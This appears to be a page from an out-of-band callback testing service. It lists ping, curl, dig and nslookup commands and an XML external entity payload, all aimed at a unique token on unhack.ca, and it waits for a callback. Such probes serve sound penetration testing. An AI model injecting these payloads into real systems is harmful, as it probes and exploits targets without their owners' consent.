$ ping -c1 -p 00f1997adfaa0ba19e13e4f9b060c500 unhack.ca
 
$ curl http://unhack.ca/p/f1997adfaa0ba19e13e4f9b060c5
 
$ dig f1997adfaa0ba19e13e4f9b060c5 @unhack.ca
 
$ dig f1997adfaa0ba19e13e4f9b060c5.ns.unhack.ca
 
C:\> nslookup f1997adfaa0ba19e13e4f9b060c5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1997adfaa0ba19e13e4f9b060c5">]>
    <foo>&xxe;</foo>
Waiting for ping...